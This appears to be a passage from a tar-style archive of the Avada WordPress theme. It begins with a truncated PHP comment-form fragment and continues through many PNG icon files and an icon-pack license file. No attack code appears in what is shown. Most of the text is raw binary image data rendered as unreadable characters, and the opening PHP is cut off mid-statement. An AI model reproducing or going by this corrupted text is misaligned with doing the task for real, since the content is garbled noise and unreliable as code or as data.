a={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(a.minWidth=a.width,a.position="relative",a.width="auto"),this.$dropdown.css(a)},c.prototype._showDropdown=function(a){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},c}),b.define("select2/dropdown/minimumResultsForSearch",[],function(){function a(b){for(var c=0,d=0;d0&&(l.dataAdapter=j.Decorate(l.dataAdapter,r)),l.maximumInputLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,s)),l.maximumSelectionLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,t)),l.tags&&(l.dataAdapter=j.Decorate(l.dataAdapter,p)),null==l.tokenSeparators&&null==l.tokenizer||(l.dataAdapter=j.Decorate(l.dataAdapter,q)),null!=l.query){var C=b(l.amdBase+"compat/query");l.dataAdapter=j.Decorate(l.dataAdapter,C)}if(null!=l.initSelection){var D=b(l.amdBase+"compat/initSelection");l.dataAdapter=j.Decorate(l.dataAdapter,D)}}if(null==l.resultsAdapter&&(l.resultsAdapter=c,null!=l.ajax&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,x)),null!=l.placeholder&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,w)),l.selectOnClose&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,A))),null==l.dropdownAdapter){if(l.multiple)l.dropdownAdapter=u;else{var E=j.Decorate(u,v);l.dropdownAdapter=E}if(0!==l.minimumResultsForSearch&&(l.dropdownAdapter=j.Decorate(l.dropdownAdapter,z)),l.closeOnSelect&&(l.dropdownAdapter=j.Decorate(l.dropdownAdapter,B)),null!=l.dropdownCssClass||null!=l.dropdownCss||null!=l.adaptDropdownCssClass){var F=b(l.amdBase+"compat/dropdownCss");l.dropdownAdapter=j.Decorate(l.dropdownAdapter,F)}l.dropdownAdapter=j.Decorate(l.dropdownAdapter,y)}if(null==l.selectionAdapter){if(l.multiple?l.selectionAdapter=e:l.selectionAdapter=d,null!=l.placeholder&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,f)),l.allowClear&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,g)),l.multiple&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,h)),null!=l.containerCssClass||null!=l.containerCss||null!=l.adaptContainerCssClass){var G=b(l.amdBase+"compat/containerCss");l.selectionAdapter=j.Decorate(l.selectionAdapter,G)}l.selectionAdapter=j.Decorate(l.selectionAdapter,i)}if("string"==typeof l.language)if(l.language.indexOf("-")>0){var H=l.language.split("-"),I=H[0];l.language=[l.language,I]}else l.language=[l.language];if(a.isArray(l.language)){var J=new k;l.language.push("en");for(var K=l.language,L=0;L0){for(var f=a.extend(!0,{},e),g=e.children.length-1;g>=0;g--){null==c(d,e.children[g])&&f.children.splice(g,1)}return f.children.length>0?f:c(d,f)}var h=b(e.text).toUpperCase(),i=b(d.term).toUpperCase();return h.indexOf(i)>-1?e:null}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:j.escapeMarkup,language:C,matcher:c,minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,sorter:function(a){return a},templateResult:function(a){return a.text},templateSelection:function(a){return a.text},theme:"default",width:"resolve"}},D.prototype.set=function(b,c){var d=a.camelCase(b),e={};e[d]=c;var f=j._convertData(e);a.extend(this.defaults,f)},new D}),b.define("select2/options",["require","jquery","./defaults","./utils"],function(a,b,c,d){function e(b,e){if(this.options=b,null!=e&&this.fromElement(e),this.options=c.apply(this.options),e&&e.is("input")){var f=a(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=d.Decorate(this.options.dataAdapter,f)}}return e.prototype.fromElement=function(a){var c=["select2"];null==this.options.multiple&&(this.options.multiple=a.prop("multiple")),null==this.options.disabled&&(this.options.disabled=a.prop("disabled")),null==this.options.language&&(a.prop("lang")?this.options.language=a.prop("lang").toLowerCase():a.closest("[lang]").prop("lang")&&(this.options.language=a.closest("[lang]").prop("lang"))),null==this.options.dir&&(a.prop("dir")?this.options.dir=a.prop("dir"):a.closest("[dir]").prop("dir")?this.options.dir=a.closest("[dir]").prop("dir"):this.options.dir="ltr"),a.prop("disabled",this.options.disabled),a.prop("multiple",this.options.multiple),a.data("select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),a.data("data",a.data("select2Tags")),a.data("tags",!0)),a.data("ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),a.attr("ajax--url",a.data("ajaxUrl")),a.data("ajax--url",a.data("ajaxUrl")));var e={};e=b.fn.jquery&&"1."==b.fn.jquery.substr(0,2)&&a[0].dataset?b.extend(!0,{},a[0].dataset,a.data()):a.data();var f=b.extend(!0,{},e);f=d._convertData(f);for(var g in f)b.inArray(g,c)>-1||(b.isPlainObject(this.options[g])?b.extend(this.options[g],f[g]):this.options[g]=f[g]);return this},e.prototype.get=function(a){return this.options[a]},e.prototype.set=function(a,b){this.options[a]=b},e}),b.define("select2/core",["jquery","./options","./utils","./keys"],function(a,b,c,d){var e=function(a,c){null!=a.data("select2")&&a.data("select2").destroy(),this.$element=a,this.id=this._generateId(a),c=c||{},this.options=new b(c,a),e.__super__.constructor.call(this);var d=a.attr("tabindex")||0;a.data("old-tabindex",d),a.attr("tabindex","-1");var f=this.options.get("dataAdapter");this.dataAdapter=new f(a,this.options);var g=this.render();this._placeContainer(g);var h=this.options.get("selectionAdapter");this.selection=new h(a,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,g);var i=this.options.get("dropdownAdapter");this.dropdown=new i(a,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,g);var j=this.options.get("resultsAdapter");this.results=new j(a,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var k=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(a){k.trigger("selection:update",{data:a})}),a.addClass("select2-hidden-accessible"),a.attr("aria-hidden","true"),this._syncAttributes(),a.data("select2",this)};return c.Extend(e,c.Observable),e.prototype._generateId=function(a){var b="";return b=null!=a.attr("id")?a.attr("id"):null!=a.attr("name")?a.attr("name")+"-"+c.generateChars(2):c.generateChars(4),b=b.replace(/(:|\.|\[|\]|,)/g,""),b="select2-"+b},e.prototype._placeContainer=function(a){a.insertAfter(this.$element);var b=this._resolveWidth(this.$element,this.options.get("width"));null!=b&&a.css("width",b)},e.prototype._resolveWidth=function(a,b){var c=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==b){var d=this._resolveWidth(a,"style");return null!=d?d:this._resolveWidth(a,"element")}if("element"==b){var e=a.outerWidth(!1);return e<=0?"auto":e+"px"}if("style"==b){var f=a.attr("style");if("string"!=typeof f)return null;for(var g=f.split(";"),h=0,i=g.length;h=1)return k[1]}return null}return b},e.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},e.prototype._registerDomEvents=function(){var b=this;this.$element.on("change.select2",function(){b.dataAdapter.current(function(a){b.trigger("selection:update",{data:a})})}),this.$element.on("focus.select2",function(a){b.trigger("focus",a)}),this._syncA=c.bind(this._syncAttributes,this),this._syncS=c.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var d=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=d?(this._observer=new d(function(c){a.each(c,b._syncA),a.each(c,b._syncS)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",b._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",b._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",b._syncS,!1))},e.prototype._registerDataEvents=function(){var a=this;this.dataAdapter.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerSelectionEvents=function(){var b=this,c=["toggle","focus"];this.selection.on("toggle",function(){b.toggleDropdown()}),this.selection.on("focus",function(a){b.focus(a)}),this.selection.on("*",function(d,e){-1===a.inArray(d,c)&&b.trigger(d,e)})},e.prototype._registerDropdownEvents=function(){var a=this;this.dropdown.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerResultsEvents=function(){var a=this;this.results.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerEvents=function(){var b=this;this.on("open",function(){b.$container.addClass("select2-container--open")}),this.on("close",function(){b.$container.removeClass("select2-container--open")}),this.on("enable",function(){b.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){b.$container.addClass("select2-container--disabled")}),this.on("blur",function(){b.$container.removeClass("select2-container--focus")}),this.on("query",function(a){b.isOpen()||b.trigger("open",{}),this.dataAdapter.query(a,function(c){b.trigger("results:all",{data:c,query:a})})}),this.on("query:append",function(a){this.dataAdapter.query(a,function(c){b.trigger("results:append",{data:c,query:a})})}),this.on("open",function(){setTimeout(function(){b.focusOnActiveElement()},1)}),a(document).on("keydown",function(a){var c=a.which;if(b.isOpen()){c===d.ESC||c===d.TAB||c===d.UP&&a.altKey?(b.close(),a.preventDefault()):c===d.ENTER?(b.trigger("results:select",{}),a.preventDefault()):c===d.SPACE&&a.ctrlKey?(b.trigger("results:toggle",{}),a.preventDefault()):c===d.UP?(b.trigger("results:previous",{}),a.preventDefault()):c===d.DOWN&&(b.trigger("results:next",{}),a.preventDefault());var e=b.$dropdown.find(".select2-search__field");e.length||(e=b.$container.find(".select2-search__field")),c===d.DOWN||c===d.UP?b.focusOnActiveElement():(e.focus(),setTimeout(function(){b.focusOnActiveElement()},1e3))}else b.hasFocus()&&(c!==d.ENTER&&c!==d.SPACE&&c!==d.DOWN||(b.open(),a.preventDefault()))})},e.prototype.focusOnActiveElement=function(){this.isOpen()&&!c.isTouchscreen()&&this.$results.find("li.select2-results__option--highlighted").focus()},e.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.options.get("disabled")?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},e.prototype._syncSubtree=function(a,b){var c=!1,d=this;if(!a||!a.target||"OPTION"===a.target.nodeName||"OPTGROUP"===a.target.nodeName){if(b)if(b.addedNodes&&b.addedNodes.length>0)for(var e=0;e0&&(c=!0);else c=!0;c&&this.dataAdapter.current(function(a){d.trigger("selection:update",{data:a})})}},e.prototype.trigger=function(a,b){var c=e.__super__.trigger,d={open:"opening",close:"closing",select:"selecting",unselect:"unselecting"};if(void 0===b&&(b={}),a in d){var f=d[a],g={prevented:!1,name:a,args:b};if(c.call(this,f,g),g.prevented)return void(b.prevented=!0)}c.call(this,a,b)},e.prototype.toggleDropdown=function(){this.options.get("disabled")||(this.isOpen()?this.close():this.open())},e.prototype.open=function(){this.isOpen()||this.trigger("query",{})},e.prototype.close=function(){this.isOpen()&&this.trigger("close",{})},e.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},e.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},e.prototype.focus=function(a){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},e.prototype.enable=function(a){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=a&&0!==a.length||(a=[!0]);var b=!a[0];this.$element.prop("disabled",b)},e.prototype.data=function(){this.options.get("debug")&&arguments.length>0&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var a=[];return this.dataAdapter.current(function(b){a=b}),a},e.prototype.val=function(b){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==b||0===b.length)return this.$element.val();var c=b[0];a.isArray(c)&&(c=a.map(c,function(a){return a.toString()})),this.$element.val(c).trigger("change")},e.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",this.$element.data("old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},e.prototype.render=function(){var b=a('');return b.attr("dir",this.options.get("dir")),this.$container=b,this.$container.addClass("select2-container--"+this.options.get("theme")),b.data("element",this.$element),b},e}),b.define("select2/compat/utils",["jquery"],function(a){function b(b,c,d){var e,f,g=[];e=a.trim(b.attr("class")),e&&(e=""+e,a(e.split(/\s+/)).each(function(){0===this.indexOf("select2-")&&g.push(this)})),e=a.trim(c.attr("class")),e&&(e=""+e,a(e.split(/\s+/)).each(function(){0!==this.indexOf("select2-")&&null!=(f=d(this))&&g.push(f)})),b.attr("class",g.join(" "))}return{syncCssClasses:b}}),b.define("select2/compat/containerCss",["jquery","./utils"],function(a,b){function c(a){return null}function d(){}return d.prototype.render=function(d){var e=d.call(this),f=this.options.get("containerCssClass")||"";a.isFunction(f)&&(f=f(this.$element));var g=this.options.get("adaptContainerCssClass");if(g=g||c,-1!==f.indexOf(":all:")){f=f.replace(":all:","");var h=g;g=function(a){var b=h(a);return null!=b?b+" "+a:a}}var i=this.options.get("containerCss")||{};return a.isFunction(i)&&(i=i(this.$element)),b.syncCssClasses(e,this.$element,g),e.css(i),e.addClass(f),e},d}),b.define("select2/compat/dropdownCss",["jquery","./utils"],function(a,b){function c(a){return null}function d(){}return d.prototype.render=function(d){var e=d.call(this),f=this.options.get("dropdownCssClass")||"";a.isFunction(f)&&(f=f(this.$element));var g=this.options.get("adaptDropdownCssClass");if(g=g||c,-1!==f.indexOf(":all:")){f=f.replace(":all:","");var h=g;g=function(a){var b=h(a);return null!=b?b+" "+a:a}}var i=this.options.get("dropdownCss")||{};return a.isFunction(i)&&(i=i(this.$element)),b.syncCssClasses(e,this.$element,g),e.css(i),e.addClass(f),e},d}),b.define("select2/compat/initSelection",["jquery"],function(a){function b(a,b,c){c.get("debug")&&window.console&&console.warn&&console.warn("Select2: The `initSelection` option has been deprecated in favor of a custom data adapter that overrides the `current` method. This method is now called multiple times instead of a single time when the instance is initialized. Support will be removed for the `initSelection` option in future versions of Select2"),this.initSelection=c.get("initSelection"),this._isInitialized=!1,a.call(this,b,c)}return b.prototype.current=function(b,c){var d=this;if(this._isInitialized)return void b.call(this,c);this.initSelection.call(null,this.$element,function(b){d._isInitialized=!0,a.isArray(b)||(b=[b]),c(b)})},b}),b.define("select2/compat/inputData",["jquery"],function(a){function b(a,b,c){this._currentData=[],this._valueSeparator=c.get("valueSeparator")||",","hidden"===b.prop("type")&&c.get("debug")&&console&&console.warn&&console.warn("Select2: Using a hidden input with Select2 is no longer supported and may stop working in the future. It is recommended to use a `'; $fields['email'] = ''; $fields['url'] = '

        a]_qϛ}tWX/o2t |9)3~c7!W:؊_}@Y!`zL 5S-se u @-#T#7 qLIENDB`Avada/assets/images/iLightbox/social_icons/google_voice_32.png000064400000002612152342437710020411 0ustar00PNG  IHDR szzsBIT|d pHYs  ~tEXtSoftwareAdobe Fireworks CS4ӠtEXtCreation Time6/24/09kIDATX}hUe?s_Wm[1}nQ-ܒ un8E40 $bQ@CY bF0t/slv{yy{g¶<|<"DQV6s/6Ha1('`/{ˍ 9Åwʵpo#mSXR>nN)xPD0ࣥq-`m YRH)fg]UHv@X&r¨.s$05(.^]QV} wAIa#Iao(*ń |9颤0ưT5*0cd"O=eNedxM._gZԆ ;d3U?\*Msvݮ}xeӧi;/<:@Sy͋" %o`ރlyg?'gS8~e9V~})?9sIo{b?퉎 ? 肹_Hw?|ሎejw$ W4 dRvlT j~Gt4\l~gp|;΋; -k?ʲ'%Vvk8eg{Ѷ46 ezj~l[zKt>pB.p Ot@Rس?t:N?V[qov#Gp SsŌ83I@hTwZ#hPƆ:k.ĥq,C>0w9Om.OFEQL)},71c_&0b@܍,@!^ #YIENDB`Avada/assets/images/iLightbox/social_icons/deviantart_16.png000064400000001224152342437710020111 0ustar00PNG  IHDRasBIT|d pHYs  ~tEXtSoftwareAdobe Fireworks CS4ӠtEXtCreation Time7/27/09BϹIDAT8=kSa{mBlš h` K)YEAD:8v "V Њ[ԠH P3hMQSjL{߯{oxsG/D$]Dn)K MIp %- \0T|@˻mTl6C6<8aqy"O3o^1_ t \)%V=qui:s{r8}ő1%1H)qk'ӟA!_kmܾz ~s&75$F [ Ц#ţcmDMl}_eܿ55;kXVZ"Ymu5ZԞԮ!Z*Z+- Uj;?%JeqFIENDB`Avada/assets/images/iLightbox/social_icons/paypal_16.png000064400000001172152342437710017240 0ustar00PNG  IHDRasBIT|d pHYs  ~tEXtSoftwareAdobe Fireworks CS4ӠtEXtCreation Time6/24/09kIDAT8kSaonX#TR_&BN١88dP=CVjhѐyls[<9,=s4p"#3ުEa)wbyHQn;hI*[8QRo&FjvHϟ&ED)"qxcn'ˏ0fI9V^^$R~*2<^/Jًw/}! ߊ":TqDX_p9jv+"X.Ϝ<1,޻,X}יg{[sZoee'Y1+WC$Ɗ*2`nvfbWUK.{BYǪ*^ FD*vZ.#DD.`,vl^,5; 6 Mx}mIENDB`Avada/assets/images/iLightbox/social_icons/gowalla_32.png000064400000003572152342437710017404 0ustar00PNG  IHDR szzsBIT|d pHYs  ~tEXtSoftwareAdobe Fireworks CS4ӠtEXtCreation Time6/24/09kIDATX{lS?{sm؎C I'/Q A6Z1&(ٴ0-[!MCclZ *X&:/*Ե ( 'رq΃ lRHG9;Zc{ (Np+X;$Cx0  BW34ՃB+[aZ쥏7HBOG:&F(v Kzb i`ɃΟflLV05k9!m!x,뵻gœb%8QUt ˠAWtyv8[у(Wf{GR`PlB{'}ɳk̥W"`D31̆ƻ'Fbv5 B,{IowB~b7VvKWmZ0d/Z@ZD|;@;>_pP tCH'!H0ydZU2f a#$6~\G@o;A?oL@N)44.t40 }bCM">/ 6y Gӓ _Ȃ ݎ9h lLst4~c 6`=ocx%Ekv [l;M~׃va< Gq0( 1eߏKD# Nt`ImÑ2S J}z@X. h{0L#xOa ĕO@kX5z?[!RY\fh C$DCxu5iќY$^M%sHB v=sú]ClSf#i7ըn\EܕئF9h=7,tN\Tb\:NЋd[J@7:VPݸWmI< WX5mjYGKOhs>kk0s'.r;ᵦIxD:@u{?Fx|@ JXێ% a""dne\s,D.G~G]Q[g''I1 Ё~<7XZPřK^y+>ǹn%7u΍SnwC *'-F3!5-j#*(Kynx{.w7I m/v)d!Y&: žr58VGj]JHW‰ChBsO&0YD<Cbw kZ<7=zGK 8pҬ0 -2M߬ zadO 5SIvv2J)w^k lp9ިK~dـz!67k8n PMkZI5 ;PDZ. 5/ɛ:d‡&,k|:["qS}W2KՀr[8IENDB`Avada/assets/images/iLightbox/social_icons/license.txt000064400000001016152342437710017116 0ustar00If you use these icons, please place an attribution link to komodomedia.com. Social Network Icon Pack by Rogie King is licensed under a Creative Commons Attribution-Share Alike 3.0 Unported License (http://creativecommons.org/licenses/by-nc-sa/3.0/). Based on a work at www.komodomedia.com. More rad downloads can be found at http://www.komodomedia.com/download/ Feelin' the love? Donate to Paypal: rogie@komodomedia.com I claim no right of ownership to the respective company logos and glyphs in each one of these icons.Avada/assets/images/iLightbox/social_icons/rdio_32.png000064400000002556152342437710016714 0ustar00PNG  IHDR szzsBIT|d pHYs  ~tEXtSoftwareAdobe Fireworks CS5q6tEXtCreation Time6/24/09kIDATX[hTWm.\LbƂ D{F}(m- O> To)} T) zi̙90͉c }_g}4fPG``lko?:5~uÆMMM1˲D1+R=ϴ\8RbGA8o@[{ѩLw4648#,}x| >7G]"ZVFa"t4 )%s_4ۼm{8]np(ƎF{7m-,#^v'q]9T:Lc}i~sKOzJ(A]" #aB(f,BIsoS=W43@WVy 9#se SKSG,]}cۓ{W$z, \)l^"JAZѰ\3RH#{i^+P-\KcZؚ^ zwβ i2x _Z^npԳ/H$-2ai 4'22@t1qʻ=IΗ}&r\XzJC uy;?^ -k]i絟[_T3\eU^T!bI~` -GE,АOky[mIOmBD*e 1P =lcVc"6J`- R #0AOShٚjF6Kb(鈐0uhcW`sPܤ&JXZԞL U ٷ^RÂqv5* (F=}LﮅhTja '&&h|\ \tԸ(R*Yf<6*&&&H&D2J8æ0[j,t]02t7  %I)p*ZiYu}2IȸRGFƁNiv3UUOԔY% $Lh<Z"Rթ6t d[+8 7O\, thg~qos|p1^U%AuJ=9#C{MJ)Dc ; , pn &N75Gzù{cMU''}p*+B]Ă (PFזk @Eȋ,;Ӈ2쐕Y=IENDB`Avada/assets/images/iLightbox/social_icons/steam_32.png000064400000002561152342437710017064 0ustar00PNG  IHDR szzsBIT|d pHYs  ~tEXtSoftwareAdobe Fireworks CS5q6tEXtCreation Time6/24/09kIDATXŗ]LW󱻰K]C6KhOZkU/6%јI&45URX?Mj֚P eApgwgؙ`u-".''ܙw=I$I. $Fw4 q~f\uwF߷@ef.I4DGQ9#''E .,-=F!bh@ @Zz²"!?--Icc jYk@<[?-`{OY/2 ,D"a$dH;{^@XPLN&ʷp:S$bsrclRNu1<*azq`Y&Cexh2 lҒ\xҒ7ia6m@BXV̌H=+8PǞphMMlZNab(,X̶455ST"i3svCǝ^v>mevik-t- <]ū8u4GkPj%Wg&$MWW7vUUtuuM$n Z[()ـ(,ZEQʜO?G"a6nX`ݺw9RUM[{$j֯[K˟7x ؠ]\&bYZ(!X>p`&?_m֛xAOѴP{=~_z @u$MSR\|q99Y_nQYy~R\.Ν=CZZ6 ˲0 #E \ODӴy(vǔ).eeA0@UU\.YB02:Jm7;3gԈ|Ry4rx<2p>MWQYMŇq܅X]&i'ufTU0ּ?]$'jOh33oŦiG08a? IOD/^F6??YbFVUUM0ۯpUt] IB^_LD=<ҟ8Xӿ @2Me35k.<.:]ǜوZu &L}5+lv$I3k /(!96fhi|0%زrwɲVy ,^Q lH< 1^ #F` ܏&HEIENDB`Avada/assets/images/iLightbox/social_icons/mixx_32.png000064400000001470152342437710016736 0ustar00PNG  IHDR szzsBIT|d pHYs  ~tEXtSoftwareAdobe Fireworks CS4ӠtEXtCreation Time6/24/09kIDATX͗MkP$өCiL7u!VQKw݉•UW\ъ@EJm}_Ӊ$&.2. $=9﹙E^.R ,G'=O&Ϝg`o?{vc3-.2wVP~/`c_l.@*L.@ئp5%I|\ "hu ! ;K49 ^D/sizʪ9RDF3l6wJg?@ p },*:J135l&6\va Ӳ8BPVѤ;.ޝ53s}0M"ZGE3i#)l+f͊clmǎiT*dG7%@:EMF/qXjv@ݐh ]{9K\ r}:XoAiqn̽',FcLͥ5@t ycyz:YeBg>1(NIڭbyP$z5 8u&@F_(t!n @AlDJ)^~xChfܽs\.go4?|LU.L6;ֵѻg 3e'#hM4>G'GZ Pl ֤C@ F :t]DZ2 3`?f9Bc̖z< Hl]߀l"= DiBjjzh88$Zk&Fm1ffnN]d@\.)xcXXxdiw^>:!(P@'_IENDB`Avada/assets/images/iLightbox/social_icons/flickr_32.png000064400000002133152342437710017220 0ustar00PNG  IHDR szzsBIT|d pHYs  ~tEXtSoftwareAdobe Fireworks CS4ӠtEXtCreation Time6/24/09kIDATX͖=O[W7P֤BM+eɄTu7`HԩCPyk*1UY"h Y81_=t/\:<+1!8<<cVs0Nz=1o?m@ WRʥYRZRt8::Bkzaa6`P(yJ)1c]J)<ϣP(,T XGMcA `G椔(!¸n!560Ӥh`w_@R;O3|.>KO}ܧ`5P,G{BY\\ڱa?ǝ7K1H Mg^|ﳼ,$Rj5gNlp3dIG+nډMTyN"G,.Ys<џ987/ S`r(XNN=E吟!6..6S8qVߜӹ(aBD&ҡq>.6i1˻/,L q"6,$g(XPo'$asd ]Ɛ4 1!" 1?M1&2( 9}~Ni ?Cxb}v lU|1PA"XJK#hlC&Tl /*IHvgvvw>;dwItu)%X )e _0u467ܼ\,-CN$R=4 y߶?[qN5*b1Nwws._.mR@nY| =xPR.IPJ2 Xg|K;wJtQ h%͗TZ.ߓJΣr5Pnmhw Y,.A0;z{w O@EԔWo-bYD9s7>5Occeg0&гkW^_ Wt ̥%9MMV4J+ݰuEevA.Xi|{7 !ČDp?N0p?{Z[1#esf;8b0+ͫ~}BݾϞ;F txZX:́]9SdOOѼy(j!p(3ss Y_T[yƧ]]|ׯbBAF'&V@j :}+烃L͹b)H໑KKIF۩SrgfX2Mu+/F8@ +$nE:i 5J@ V&%00oRtmTgjh8!jj־ JLd2`, t:#;^^?ׇ{vJ%n\J s$낵D"b[Ja^h.aa&7a7$< a-Rv9.< v$*nD pO$X,}dI <[1^qj|^zFdv;KCAxXV3 ErR/$'8elj2=nV))L`=\.]S,1 ś&T7 l6SQ4 RjzF# W*Nyzi 1eⱏCӝ2c+|Qy??5g/h4r6]SDO4N)cAIENDB`Avada/assets/images/iLightbox/metro-white-skin/fullscreen-icon-64.png000064400000000353152342437710021524 0ustar00PNG  IHDR@@iqtEXtSoftwareAdobe ImageReadyqe<IDATx P0>#nVzҒ&^U-9[ DgOF t\IȹJ`mW2@qޭ VVsIENDB`Avada/assets/images/iLightbox/metro-white-skin/pause-icon-ie.png000064400000000506152342437710020643 0ustar00PNG  IHDR;0tEXtSoftwareAdobe ImageReadyqe<IDATxM 0b$ r[k!C\xMCiCtvYx|C wα!"``jZםXtGك_lL8%y~h8GBt,Y^0J)cL.톾@ AiL`&0"cfoV̺ܺe/X)ֹ̲N_] IWG1 TJuىIENDB`Avada/assets/images/iLightbox/metro-white-skin/play-icon-64.png000064400000001465152342437710020334 0ustar00PNG  IHDR@@iqtEXtSoftwareAdobe ImageReadyqe<IDATx]LaǏI$is!Ʌ inU"G&9-jB7™Eq!Ǎ-khv4.m.$ =wҌs{_s13g}LT*Ź<p~ MqOuP`b9S׶+L8 - O s8u;LW52mh2 fZ4i5-V 5M٢N& y p e% pNh0g O̳h"]>od\:Y3iV Mp;Xܤݰ֪n$<]N:<ݫ+EU\xdhxjh5 Ycm\jh*\0ݢN[5@4a*LhƄeV ́p,j9o0բNjB7,PsΛF`{F ?pW[|:gk?gn |BY3u_-OϙaeB Iqn |o8K,(X']`qhK4;ly#Ѵ/PP|VCG$:@BI 5^D[k֎|GCjnt܂ ST2FЯf,Ƞ?[_1@QT?bcAT GSP#Uaaފ 0zřӻIENDB`Avada/assets/images/iLightbox/metro-white-skin/fullscreen-hover-icon-64.png000064400000000363152342437710022646 0ustar00PNG  IHDR@@iqtEXtSoftwareAdobe ImageReadyqe<IDATx10 @Fi2"lٷ@tYU+@u$xUcx4E/LX@n.vP0IENDB`Avada/assets/images/iLightbox/metro-white-skin/play-icon-ie.png000064400000001202152342437710020465 0ustar00PNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<$IDATxb?2|HCCbVVV'0\rTOrUUUjxbRwwW۷ɱE/ۦOHBa@SK%@ȜX@~@|  x!` PI@?F C@l?= M@9 ]@l8 >E@Fw wQ|,Y|l֬YϞ=@[ssVB?ĠF~]]^^`6[_~UH ^Nj:`5cz| aZN @|PqV ޔXNn< >I6o bgjYNJ|hc~P!,NgB [@K"@rrr̶HHH\@b40 Q_UӺIENDB`Avada/assets/images/iLightbox/metro-white-skin/arrows_vertical.png000064400000003402152342437710021411 0ustar00PNG  IHDRGVtEXtSoftwareAdobe ImageReadyqe<IDATx lTUoKEQh@Wj D;mp7U5q6\VQwJ1AQFk1AP'֦`;}/0}~s=i)d2NyKHHHH($Gr$Gr$Gr$Gr$Gr#9#9#9#9ɑɉ"Jt\e8aTjrb"B0lB 0 @ 8 7ǂ8MO IpE a 3\ Q̏a˹ ,5.~98{䣜^ԂQn|OZ2pD> ǃs=|/00Cw?S~=r8O<Ʊ~#l ggvIs.3wKA$ 惋_ pdb xYΞ~|WW0gZE}˂9Rc'XُHs]ciQi.SeT59L{_)IMTٙ|3pT*&DiELwk\j!h6U˙ 6 ON9er샳NdGAjTWPh//e!9 ɑɑɑɑɑHHHHHHHHHHBr$Gr$Gr$Gr$Gr$G!9#9#9#9#9 ɑɑɑɑɑHHH]؁f`txNmݾ6rM75@Zs:ȱ':0w@XϚA`H**;v&f[[bJw 01'w>u0sTCrn[kvcbTRw%t{K31[s:>6¤SeYE`YbuzZ! ui 8?鼾|u%,a}J&{ V⪘, N,K<u~w_FP6}VXMa_OY {"ۦͰ;D9Lճ*6v=}dzm~a<8b1S(ŚQ)4~eKkU9")6vcXv,+&;5{b [\cK} ؇־ "|w0ۀ}X *on-Jxmk o}˭qh.[\5ݫH.g>z_#yYYRmU:AK s(̺m7Iɦ0n:̲ NԶ>ػߗm >2 -^qm&J]YF` \6/qf/v3nVYEr.zA`XyF Vٛ8|KAәGGl9oO(6"e2I]HHBr$Gr$Gr$Gr$Gr$G!9#9#9#9#9 ɑɑɑɑɑE[TLoIENDB`Avada/assets/images/iLightbox/metro-white-skin/pause-icon-64.png000064400000000340152342437710020473 0ustar00PNG  